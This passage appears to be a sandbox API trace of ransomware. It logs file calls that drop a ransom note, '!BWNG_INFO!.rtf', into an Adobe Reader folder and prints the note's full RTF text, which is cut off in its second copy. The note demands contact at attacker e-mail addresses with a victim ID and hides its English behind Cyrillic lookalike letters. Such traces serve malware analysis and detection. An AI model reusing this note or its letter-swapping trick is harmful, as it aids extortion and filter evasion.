(hObject=0x1ac) returned 1 [0042.370] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\!bwng_info!.rtf")) returned 0xffffffff [0042.370] GetLastError () returned 0x2 [0042.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 